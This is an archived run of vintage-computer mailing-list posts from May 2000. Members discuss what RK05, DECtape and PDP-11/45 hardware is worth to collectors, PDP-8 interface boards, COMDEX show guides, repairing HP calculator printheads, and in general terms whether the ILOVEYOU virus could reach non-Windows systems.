Security patch -4H. > It's too bad the net has turned into such an appliance. In the old days, > each site often implemented their own TCP/IP stack and SMTP/FTP/etc. servers > from scratch, so even if they had security flaws they weren't well-known. security by obscurity. Ok but the growth would be severely crippled and interoperability worse. > in a fake version banner in his wu.ftpd just so the crackers would be more > likely to leave him alone, worth a shot! the key here is not what was done but, that something was done at all, not hanging out a sign that says hit me. How many sites even read up on how to secure linux, freeBSD, or NT? No I'm not a MS lover but don't blame the cow for soggy cereal. MS is only part of the problem by not addressing known holes. The users that install the carpet bombed AOL disks and install teh latest widgets deserve the blame too for what they get. Allison From west at tseinc.com Fri May 5 15:39:08 2000 From: west at tseinc.com (Jay West) Date: Sun Feb 27 18:52:35 2005 Subject: paging Derek Peschel Message-ID: <00bb01bfb6d1$f6c6b160$d402a8c0@tse.com> Derek, please contact me via email at jlwest@tseinc.com (not my normal address) regarding the list server, can't seem to find your personal email address for list server updates. Others - please excuse the bandwidth intrusion! Jay West From healyzh at aracnet.com Fri May 5 15:43:23 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:35 2005 Subject: What a weekend! In-Reply-To: <20000505155432.B30766@dbit.dbit.com> from "John Wilson" at May 05, 2000 03:54:32 PM Message-ID: <200005052043.NAA20226@shell1.aracnet.com> > The one in Boston (or is it 50% in Cambridge?) MA used to have a tiny > capsule of some kind (Mercury or Gemini?) but I never understood whether > it was the real thing, or a mock-up. They had/have a lunar lander too but > that's definitely fake. > > John Wilson > D Bit Probably a fake, OMSI had/has a capsule that I'm fairly sure is fake. Years ago it was a really cool exhibit. Last I saw though it was pretty trashed out and I believe they were letting people climb in it. Of course OMSI has really gone down hill in the last several years, and are now nothing more than a childrens museum. Zane From lemay at cs.umn.edu Fri May 5 15:51:18 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals Message-ID: <200005052051.PAA13508@caesar.cs.umn.edu> Ok, i finally found the guy at his office (we work for the same department here at the university ;) and had a chat. Looks liek he might try to get me the pdp8/e cpu (without any boards) and the boards if he can find the box that they are in. This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a reasonable amount, AND pick this stuff up in minneapolis, AND do it pretty quickly? I know Dectape units are worth about $1000, so this is a worthwile thing to get if you have teh space for it (the curse of working for the university, is that they dont pay me enough to be able to afford the space for all thsi stuff)... If you want this, speak up and i'll go see what i can arrange with him. i want the cpu, and boards if they are found (my 8/e has no interface boards, and front panel is damaged, and power cable is cut, as you might recall...) -Lawrence LeMay From gaz_k at lineone.net Fri May 5 15:46:52 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:35 2005 Subject: Enough with the MS bashing, please References: <20000505201254.23500.qmail@hotmail.com> Message-ID: <003701bfb6d3$f78e0e20$942d63c3@gazk> Will Jennings >I'm using Win > 98SE right now, and our NT server has been running continuously for about 4 > years now, no crashes at all. And I do have experience with other OS's, I > also run BeOS on my machine, This made me think of the possibility that the I Love You virus could affect other systems. Does the virus only rename files on the host drive or can it spread to a hardfile mounted on Windows desktop or network connections? If someone wrote a virus that had this possibility it could wipe out all machines. If you were monitoring the machines at the time the Ethernet hub would light up like a Christmas tree. But what would happen if, like many people you leave the machine on all day. Suddenly the Amiga, Mac, Atari, and whatever you have connected to a network don't seem so safe... -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From gaz_k at lineone.net Fri May 5 15:52:28 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:35 2005 Subject: VHS to MPG/AVI/Quicktime conversion? References: <200005022156.OAA05336@opus.allegro.com> Message-ID: <003901bfb6d4$a0629340$942d63c3@gazk> Stan Sieler wrote: > 3) backplane (i.e., card plugs into your system) I would recommend staying away from any Mirovideo TV card. Windows 98/NT support is pretty bad and they tend to go out of sync no matter how much memory you have. Try a Hauppages (sp?) WinTV- for ?90 you can even get radio capabilities. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From dylanb at sympatico.ca Fri May 5 17:42:40 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:35 2005 Subject: Enough with the MS bashing, please References: <20000505201254.23500.qmail@hotmail.com> <003701bfb6d3$f78e0e20$942d63c3@gazk> Message-ID: <005301bfb6e3$37f68f00$fd83fea9@office> ----- Original Message ----- From: Gareth Knight To: Sent: Friday, May 05, 2000 4:46 PM Subject: Re: Enough with the MS bashing, please > Will Jennings > >I'm using Win > 98SE right now, and our NT server has been running > continuously for about 4 > > years now, no crashes at all. And I do have experience with other OS's, I > > also run BeOS on my machine, > The idea behind writing a virus is to hit the *masses*, fast and hard. Windows is the most used client O/S by far. If DEC or Linux was used by everyone at home then considerable effort would have gone into making a virus for those platforms. Can you imagine someone wasting the time to write a virus for Atari or Amiga? It would infect what? 2 computers maybe? John From jimw at agora.rdrop.com Fri May 5 16:04:29 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:35 2005 Subject: What a weekend! In-Reply-To: <200005052043.NAA20226@shell1.aracnet.com> Message-ID: On Fri, 5 May 2000 healyzh@aracnet.com wrote: > Probably a fake, OMSI had/has a capsule that I'm fairly sure is fake. Years > ago it was a really cool exhibit. Last I saw though it was pretty trashed > out and I believe they were letting people climb in it. Of course OMSI has > really gone down hill in the last several years, and are now nothing more > than a childrens museum. I'll echo your sentiments about OMSI, but while also trying to stay (marginally) on topic I can confirm that the Gemini capsule is 'fake'. The capsule on display was the grand prize in a contest (sponsored by Monogram IIRC) a good number of years ago, was won by a local person, and donated to OMSI. Hmmm... why do I seem to recall it having its utility stage (skirt?) when it was new? Or perhaps just a phantom memory... (unintentional S-100 joke) Heck, I remember entering the contest myself! Hmm... this still seems only marginally near topic... Ko, try this! How many others lurking the list got their start in the OMSI computer lab? On the Straight-8 in the lab? On the PDP-11/45 that started Oregon Software? Knows where to find Rusty Whitney? Knows who he is?? Cares??? There. That should be closer. B^} -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From cisin at xenosoft.com Fri May 5 16:18:35 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:35 2005 Subject: COMDEX Show Guides Message-ID: The fall (Las Vegas) Comdex show guide is about 500 pages of slick material. It has contact info for exhibitors in the form of company name, address, phone number, and a sentence or two of hype identifying their products for over 1000 companies. It's a good way to find companies (as kind of a worldwide yellow pages), or to keep track of who was around and when. One copy is free to anyone attending AT Comdex; sometimes it's easy, sometimes hard, to get extras. Interface Group used to sell them by mail for about $75 I have some extras to get rid of from most of the Fall Comdex's since 86. $1 each (pickup here); or $5 each including shipping; or will trade a dozen for the 1984 one. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From ard at p850ug1.demon.co.uk Fri May 5 16:01:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: <200005051933.OAA08700@caesar.cs.umn.edu> from "Lawrence LeMay" at May 5, 0 02:33:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 494 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/3d2c84a8/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 5 16:06:50 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: from "allisonp@world.std.com" at May 5, 0 04:17:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 413 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/052a7fde/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 5 16:08:56 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: from "allisonp@world.std.com" at May 5, 0 04:19:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 663 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/78eb723f/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 5 16:12:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: <003901bfb6d9$745eedc0$fd83fea9@office> from "johnb" at May 5, 0 05:32:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1188 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/9bd03287/attachment-0001.ksh From marvin at rain.org Fri May 5 16:34:34 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:35 2005 Subject: COMDEX Show Guides References: Message-ID: <39133E6A.10452298@rain.org> "Fred Cisin (XenoSoft)" wrote: > > One copy is free to anyone attending AT Comdex; sometimes it's easy, > sometimes hard, to get extras. Interface Group used to sell them by mail > for about $75 Well, a bit devious perhaps, but each registration is entitled to one book, and there is nothing to say that the person must actually be there. From lemay at cs.umn.edu Fri May 5 16:45:20 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: from Tony Duell at "May 5, 2000 10:12:43 pm" Message-ID: <200005052145.QAA16631@caesar.cs.umn.edu> > > > > > > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > > > to a PDP8/e? > > > > > > > It's RK8E, and yes, they are next to impossible to find - especially the > > cable. > > Are they? Both my PDP8s (an 8/e and an 8/a) came with them fitted. I > think I've even got another one _somewhere_... Ditto for the cables. > > -tony > What do you want for them? -Lawrence LeMay From dylanb at sympatico.ca Fri May 5 18:30:33 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 References: Message-ID: <006301bfb6e9$e8648440$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Friday, May 05, 2000 5:12 PM Subject: Re: value of RK05 > > > I'm wondering of anyone knows whatthe value of an RK05 would be? I'm > > thinking > > > of buying a rack full of stuff in order to get the parts i want, and then > > > sell of the rest. As i'll be getting a pair of RK05's for free with the > > > PDP-11/45 system I'm getting for free, if I was to get 2 more RK05's I > > > cant see needing that many... > > > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > $7000 to $9000 depending on config. A system is generally worth a lot more > > with RK05s or RX02s installed > > _How Much_???? This is unpleasantly rediculous. > > You mean the 11/45 in the next room (with 2 RK05s, 2 RL01s, 2 RL02s, 2 > RK07s, A->D, D->A, serial ports, magtape, etc) is worth real money? Darn > it :-(. Very much so. I notice you didn't list FP. If it has that option then add another $1000. PDP-11/45 minicomputers *running* are rather rare. I have visited quite a few web sites and have found most collectors that *do* have them don't have them running. Drives like RK07s and RL01/RL02 are worth nothing. It would be worth more money if you had a PC05 and running DOS-11. Magtape - only DECTape is worth $$$. A/D,D/A always adds value. > > I now know that I am never going to be able to expand it or add any more > drives. Not at those prices :-( > > > > > > > > > > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > > > to a PDP8/e? > > > > > > > It's RK8E, and yes, they are next to impossible to find - especially the > > cable. > > Are they? Both my PDP8s (an 8/e and an 8/a) came with them fitted. I > think I've even got another one _somewhere_... Ditto for the cables. > Very much so. I'll tell you what. Go out today and try and find another one... e-mail me in a month, then a year after looking. Only hope is to find one in a PDP-8A. http://www.pdp8.com/ john > -tony > > > From doug at blinkenlights.com Fri May 5 16:47:52 2000 From: doug at blinkenlights.com (Doug Salot) Date: Sun Feb 27 18:52:35 2005 Subject: Enough with the MS bashing, please In-Reply-To: <003701bfb6d3$f78e0e20$942d63c3@gazk> Message-ID: On Fri, 5 May 2000, Gareth Knight wrote: > This made me think of the possibility that the I Love You virus could affect > other systems. Does the virus only rename files on the host drive or can it > spread to a hardfile mounted on Windows desktop or network connections? If you've got Samba running on a unix server, and a Samba-exported filesystem is mounted on some lame Windows box, and a lame Windows user decides to activate this Microsoft-enabled virus, then sure, Microsoft lameness can infect non-MS systems to some extent. Cheers, Doug From cisin at xenosoft.com Fri May 5 17:09:53 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:35 2005 Subject: COMDEX Show Guides In-Reply-To: <39133E6A.10452298@rain.org> Message-ID: > "Fred Cisin (XenoSoft)" wrote: > > One copy is free to anyone attending AT Comdex; sometimes it's easy, > > sometimes hard, to get extras. Interface Group used to sell them by mail > > for about $75 On Fri, 5 May 2000, Marvin wrote: > Well, a bit devious perhaps, but each registration is entitled to one book, > and there is nothing to say that the person must actually be there. The free distribution of them is AT the show. How do you get the item that is distributed at the show without actually being there? What you CAN do is to go back through the lines again, and register multiple times, such as with different names or addresses. 'Course THAT is only for the CURRENT year, which is less interesting, and not classic. OR, for a negligible payment, you can get my collectors copies of old ones that are no longer available. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From healyzh at aracnet.com Fri May 5 17:24:03 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: from "Tony Duell" at May 05, 2000 10:12:43 PM Message-ID: <200005052224.PAA00800@shell1.aracnet.com> > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > $7000 to $9000 depending on config. A system is generally worth a lot more > > with RK05s or RX02s installed > > _How Much_???? This is unpleasantly rediculous. Now look at the *commercial*, or in other words *real* value, and remember that PDP-11's are still in use. A system selling for that price had *better* include software with *Valid* licenses!!! Zane From dylanb at sympatico.ca Fri May 5 19:11:08 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 References: <200005052224.PAA00800@shell1.aracnet.com> Message-ID: <001001bfb6ef$947e3000$fd83fea9@office> ----- Original Message ----- From: To: Sent: Friday, May 05, 2000 6:24 PM Subject: Re: value of RK05 > > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > > $7000 to $9000 depending on config. A system is generally worth a lot more > > > with RK05s or RX02s installed > > > > _How Much_???? This is unpleasantly rediculous. > > Now look at the *commercial*, or in other words *real* value, and remember > that PDP-11's are still in use. A system selling for that price had > *better* include software with *Valid* licenses!!! > No, that's going-rate collector prices. And, no, I don't know anyone who has ever *paid* for any license for any old DEC equipment for personal use. DOS-11 and old RT11 v1 is almost 30 years old - no one cares about a license for such things. I don't know what these systems sell commercially for. http://www.pdp8.com/ john > Zane > From ard at p850ug1.demon.co.uk Fri May 5 17:08:32 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: <006301bfb6e9$e8648440$fd83fea9@office> from "johnb" at May 5, 0 07:30:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2288 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/444c2084/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 5 17:25:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: HP calculator thermal printheads (HP82143, etc) Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1207 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/62326e08/attachment-0001.ksh From dylanb at sympatico.ca Fri May 5 19:21:54 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 References: Message-ID: <001601bfb6f1$1509ca80$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Friday, May 05, 2000 6:08 PM Subject: Re: value of RK05 > > > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > > > $7000 to $9000 depending on config. A system is generally worth a lot > > more > > > > with RK05s or RX02s installed > > > > > > _How Much_???? This is unpleasantly rediculous. > > > > > > You mean the 11/45 in the next room (with 2 RK05s, 2 RL01s, 2 RL02s, 2 > > > RK07s, A->D, D->A, serial ports, magtape, etc) is worth real money? Darn > > > it :-(. > > > > Very much so. I notice you didn't list FP. If it has that option then add > > Yes, I've got the FP11-B floating point. And the KT11-C MMU. And all the > printsets and technical manuals. > > > another $1000. PDP-11/45 minicomputers *running* are rather rare. I have > > This one needs a _very_ minor repair that I will get round to doing soon > (just a minor problem with a frontpanel switch). The logic is fine. > > > visited quite a few web sites and have found most collectors that *do* have > > them don't have them running. > > > > Drives like RK07s and RL01/RL02 are worth nothing. It would be worth more > > Speak for yourself. This is the sort of attitude that I really hate. Of > course they're worth something. For one thing the RLxx is one of the first > embedded servo drives ever. And for another, they are darn fine storage > devices... > I am speaking from an "actual" collector value point of view. I use the drives too.. No one wants them, DEC made too many of them so they are not rare, hence , they are worth no $$$$$. They are not even worth the shipping. The PDP-11/45 in 1972 was shipped with RF,RS, PC05 type devices. People want the *original* configurations.. not a bunch of *new* peripherals. Ie: SCSI boards, etc. > But of course I don't care about value at all. The only reason I have this > lot is to hack about with. > Exactly, they are worth "use" value.. they just have no $$$ value - which is what I am after. > > money if you had a PC05 and running DOS-11. Magtape - only DECTape is worth > > I've only got 3rd party paper tape on the PDP11s. > Yikes. Again, collectors like the original stuff *when* it was available. There are a lot of 3rd party devices that are worth $$$ (8 peripherals). > On my desk there's a (working) PDP8/e with RX01, TU56 (single drive > version) DECtape and a sort-of PC04 (converted, reversably, from a PC05). > > > $$$. A/D,D/A always adds value. > > > > > > It's RK8E, and yes, they are next to impossible to find - especially the > > > > cable. > > > > > > Are they? Both my PDP8s (an 8/e and an 8/a) came with them fitted. I > > > think I've even got another one _somewhere_... Ditto for the cables. > > > > > > > Very much so. I'll tell you what. Go out today and try and find another > > one... e-mail me in a month, then a year after looking. Only hope is to find > > Well, I'm unlikely to find one. In my current position, I don't get to > rescue much minicomputer stuff.... > Exactly, so if you wanted one then it would cost you considerable $$$. Same thing as collecting/restoring old cars, boats, radios, ??? > > one in a PDP-8A. > > Probably :-(. Which is, of course, where it would stay if I found one > like that. > Unfortunatly, PDP-8As aren't worth much $$$ (maybe $100 - so not worth restoring) so they would be stripped and the cards would be placed in an 8E. BTW: I have an 8A I stripped for the interfaces if anyone wants it for the cost of shipping. [that's box PDP-8/A-500, CPU and memory] http://www.pdp8.com john > -tony > > From allisonp at world.std.com Fri May 5 16:53:06 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:35 2005 Subject: [KULUA] Nightline (fwd) Message-ID: <003801bfb6de$75b62710$6c64c0d0@ajp166> > I'm not sure I'd agree completely. I believe one of the OS' >responsibilities is SYSTEM security. As I sit here hammering away >on my SGI, there's absolutely nothing Netscape can do to compromise >the OS or the machine, other than my little corner of it and anything >I have permissions to write to. We can't say the same about Windoze. Yep but windoes (8x that is) is basiclly like running from your superuser account. Would NS be as safe for the system there? This is a fundemental problem of the dos/win3.1/win9x series, they operate with few if any protections. There are other OSs where this is the case as well. Do I like it no, but W95 alone is hard to hurt from on the net add IE5.0 and thats a whole can of worms. Allison From allisonp at world.std.com Fri May 5 17:04:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 Message-ID: <003b01bfb6de$77dab4c0$6c64c0d0@ajp166> >> Also, is it next to impossible to get the rx8e needed to hook the Rk05's >> to a PDP8/e? > >I think you're mixing up two options here. The thread did. John W mentioned the RX8e and I commented on that. He may have meant the RK8E. >The RX8e is a single card to link RX01 and RX02 units to the Omnibus. I know. >The RK8e is a 3 board set and a cable with a paddleboard on the end to >link RK05 drives to the Omnibus. Also known. >My luck seem to indicate that the RK8e is more common than the RX8e (in >that I was given 3 RK8es and had to buy an RX8e for real money :-(), but >that may not be typical. Same here! I'd like to get a RX8E or RX28E to use with my RX02. Allison From allisonp at world.std.com Fri May 5 17:00:34 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:35 2005 Subject: Enough with the MS bashing, please Message-ID: <003a01bfb6de$772c7360$6c64c0d0@ajp166> >If you've got Samba running on a unix server, and a Samba-exported >filesystem is mounted on some lame Windows box, and a lame Windows user >decides to activate this Microsoft-enabled virus, then sure, Microsoft >lameness can infect non-MS systems to some extent. No surprize. W9x filesystems (FAT16/32) have no real protections save for the samba box validating the connecting host has permissions. It's nature of the filesystem. NTFS is slightly better as the ganularity of control is like unix in that can restrict what is done with the file (readonly for example). Allison From allisonp at world.std.com Fri May 5 16:57:30 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:35 2005 Subject: Enough with the MS bashing, please Message-ID: <003901bfb6de$767383a0$6c64c0d0@ajp166> >This made me think of the possibility that the I Love You virus could affect >other systems. Does the virus only rename files on the host drive or can it Loveletter can't. There are worms/virus out there that can. If a network drive (regardless of the host OS) has an open point of attach say like a fileserver that accessable point is vunerable though it's limited byt the OS how far that can extend to. I looked at Linux/samba and that would be limited to what samba provided to the network so the OS would be safe(unless there was overlap) but you could lose a lot of data. Allison From pete at dunnington.u-net.com Fri May 5 18:16:32 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:35 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "HP calculator thermal printheads (HP82143, etc)" (May 5, 23:25) References: Message-ID: <10005060016.ZM2817@indy.dunnington.u-net.com> On May 5, 23:25, Tony Duell wrote: > I have an HP82143 printer (the HP41 dedicated printer) with a broken > printhead. > > Today I found an 'HP Digest' with an article about these printers. > Aparently the conductors on the printhead are aluminium, which explains > why I couldn't (and still can't) solder to them. And none of the normal > tricks for soldering aluminium (like : Put a drop of oil on it, scrape > the oxide layer off under the oil, immediately try to tin it with solder) > work on this thin film. > > Has anyone here managed to mend a printhead like this? No, but could you use silver-loaded conductive paint? That's what we used to use to repair the printed tracks on membrane keyboards (including Sinclair ZX keyboards). I've used it for a few similar things, and at least one type can be soldered to, with care, after curing. I used to buy it in 3g bottles from R.S., part no 555-156, current stock number apparently is 186-3593 or 101-5621, costs just over a fiver. -- Pete Peter Turnbull Dept. of Computer Science University of York From ard at p850ug1.demon.co.uk Fri May 5 18:20:58 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 In-Reply-To: <001601bfb6f1$1509ca80$fd83fea9@office> from "johnb" at May 5, 0 08:21:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2691 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/03c78946/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 5 18:24:16 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:35 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005060016.ZM2817@indy.dunnington.u-net.com> from "Pete Turnbull" at May 5, 0 11:16:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1492 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/4c07a72c/attachment-0001.ksh From broth at heathers.stdio.com Sat May 6 18:49:22 2000 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> Message-ID: <3914AF82.D1AA881A@heathers.stdio.com> So THATS why you didn,t get back to me about a trade for the DECtape drive. Now you want a grand for it. Interesting how one person says a TU56 is worth a $1000 and now its law. Its only worth $1000 if someone pays you a $1000. Good luck... Lawrence LeMay wrote: > Ok, i finally found the guy at his office (we work for the same department > here at the university ;) and had a chat. Looks liek he might try to get > me the pdp8/e cpu (without any boards) and the boards if he can find the > box that they are in. > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > reasonable amount, AND pick this stuff up in minneapolis, AND do it > pretty quickly? I know Dectape units are worth about $1000, so this > is a worthwile thing to get if you have teh space for it (the curse > of working for the university, is that they dont pay me enough to > be able to afford the space for all thsi stuff)... > > If you want this, speak up and i'll go see what i can arrange with > him. i want the cpu, and boards if they are found (my 8/e has no > interface boards, and front panel is damaged, and power cable is > cut, as you might recall...) > > -Lawrence LeMay From dylanb at sympatico.ca Fri May 5 20:24:08 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:35 2005 Subject: value of RK05 References: Message-ID: <003601bfb6f9$c8923440$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Friday, May 05, 2000 7:20 PM Subject: Re: value of RK05 > > > > Drives like RK07s and RL01/RL02 are worth nothing. It would be worth > > more > > > > > > Speak for yourself. This is the sort of attitude that I really hate. Of > > > course they're worth something. For one thing the RLxx is one of the first > > > embedded servo drives ever. And for another, they are darn fine storage > > > devices... > > > > > > > I am speaking from an "actual" collector value point of view. I use the > > Fortunately, I am not, never have been, and never will be a collector... > Agreed. > > drives too.. No one wants them, DEC made too many of them so they are not > > rare, hence , they are worth no $$$$$. They are not even worth the shipping. > > Again, IMHO, it depends. I remember spending considerable time/effort to > track down my RK07s. Yes, I seriously wanted them. Still do. > Agreed. You *wanted* RK07s for a specific use. > > The PDP-11/45 in 1972 was shipped with RF,RS, PC05 type devices. People want > > Actually, my 11/45 is an early one (it has the older boards and power > cabling). I happen to know that the original configuration included an > RK11-C (which I have, the one it came with), one RK05 (I don't have the > _original_ one) and a number of DJ11 serial ports (I have some DJ11s, but > not currently on that machine). Paper tape was added early on, using 3rd > party cards and devices. There _may_ have been a DX11 in the > configuration as well. > > > Yikes. Again, collectors like the original stuff *when* it was available. > > There are a lot of 3rd party devices that are worth $$$ (8 peripherals). > > I've said it before and I'll say it again -- I am not a collector! > I understand. > > Exactly, so if you wanted one then it would cost you considerable $$$. Same > > thing as collecting/restoring old cars, boats, radios, ??? > > Well, I used to be interested in old radios, but when the 'collectors' > moved in, it all went out of my price range. So I've still got the few > sets I managed to get before that happened, I've still got the valve > testers, spares, etc. But I'm not likely to get any more. > > Looks like computer collecting may go the same way. > Already has. > > > > > > one in a PDP-8A. > > > > > > Probably :-(. Which is, of course, where it would stay if I found one > > > like that. > > > > > Unfortunatly, PDP-8As aren't worth much $$$ (maybe $100 - so not worth > > restoring) so they would be stripped and the cards would be placed in an 8E. > > Err, of _course_ they're worth restoring. They're a 12 bit DEC computer > for one thing. And they're interesting to work on. > 12 bit computers were obsolete at the end of the '60s. A 12 bit computer built 6 years after they were *totally* useless is not my cup of tea... and from the number of DEC engineers I have spoken to - thye feel the same. > > BTW: I have an 8A I stripped for the interfaces if anyone wants it for the > > cost of shipping. [that's box PDP-8/A-500, CPU and memory] > > And just how does stripping the interfaces out of a machine relate in any > way to 'preservation' (which, IIRC, is the main theme of this list). > Preservation comes in many packages. If I can use the peripherals from one *new*, very common computer in an old one then I would prefer to increase the value and use of the old computer. If the subscribers on this list tried to preserve every computer they got then they would probably be using COCO-2s for insulation in their homes ;-). My objective has always been to preserve any computer built before 1973 - and I have saved well over 60 of those since the beginning of the year from the dump, crushers, etc... Not every computer can be preserved , ie: PDP-11/34. If I saw an 11/34 with an RK11-D in it I would take the RK11 and any other *useful* interface and drop it into some older unibus computer made before '73. I get quite a few 11/34s in and *no* one wants them. By the end of this month I will have gone through at least 25 34's and I am getting another 8 PDP-11/34 systems in June - who wants the CPUs??? I guess it's different for folks who don't get a lot of old systems. http://www.pdp8.com/ John > -tony > > From ss at allegro.com Fri May 5 18:41:40 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:35 2005 Subject: HP 3000/925 available In-Reply-To: <"l03102800b537b2b86f07(a)(091)24.24.232.57(093)*"@MHS> References: <391198BE.11762.104F2E07@localhost> Message-ID: <3912F9C4.13702.15B26111@localhost> Mike "biting the hand that feeds him" Ford writes: > >> I have this old HP 3000 that is gathering dust. > > I think the rule we should make is that anyone posting anything weighing > more than 2 lbs without giving the location agrees to pay shipping. ;) Whilst I agree that I should have taken the extra few minutes or so of time it would have required to email the "giver" and ask "where" to benefit the would-be "givee", it's pretty obvious to anyone thinking about it for a bit that I shouldn't shout my "mea culpa" very loudly. I've now emailed Griff to ask him ... and I'll post any reply I get. BTW, I have no idea how the @#$%^ text got so screwed up...it looked fine in Pegasus :) It was probably MIME/rich/some-such, and I've noticed infrequent problems with that kind of text. Sorry! Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From dylanb at sympatico.ca Fri May 5 20:30:28 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:35 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> <3914AF82.D1AA881A@heathers.stdio.com> Message-ID: <003e01bfb6fa$a9389480$fd83fea9@office> ----- Original Message ----- From: Brian Roth To: Sent: Saturday, May 06, 2000 7:49 PM Subject: Re: PDP8/E peripherals > So THATS why you didn,t get back to me about a trade for the DECtape drive. > Now you want a grand for it. Interesting how one person says a TU56 is worth a > $1000 and now its law. Its only worth $1000 if someone pays you a $1000. Good > luck... > Last year Chuck McManis(sp) posted that the going rate for a TU56 was $1000. I get *considerably* more for them. They *are* rare and collectors *really* like them (yuck). If you can get one running then you really have *gold*. I have never seen one go on eBay before but I would hate to see it's value in eBay $$$$! Lawrence shouldn't have any problems getting at *least* a $1000 for a TU56. If he's getting any less then he needs to contact me ;-) http://www.pdp8.com/ john > Lawrence LeMay wrote: > > > Ok, i finally found the guy at his office (we work for the same department > > here at the university ;) and had a chat. Looks liek he might try to get > > me the pdp8/e cpu (without any boards) and the boards if he can find the > > box that they are in. > > > > This 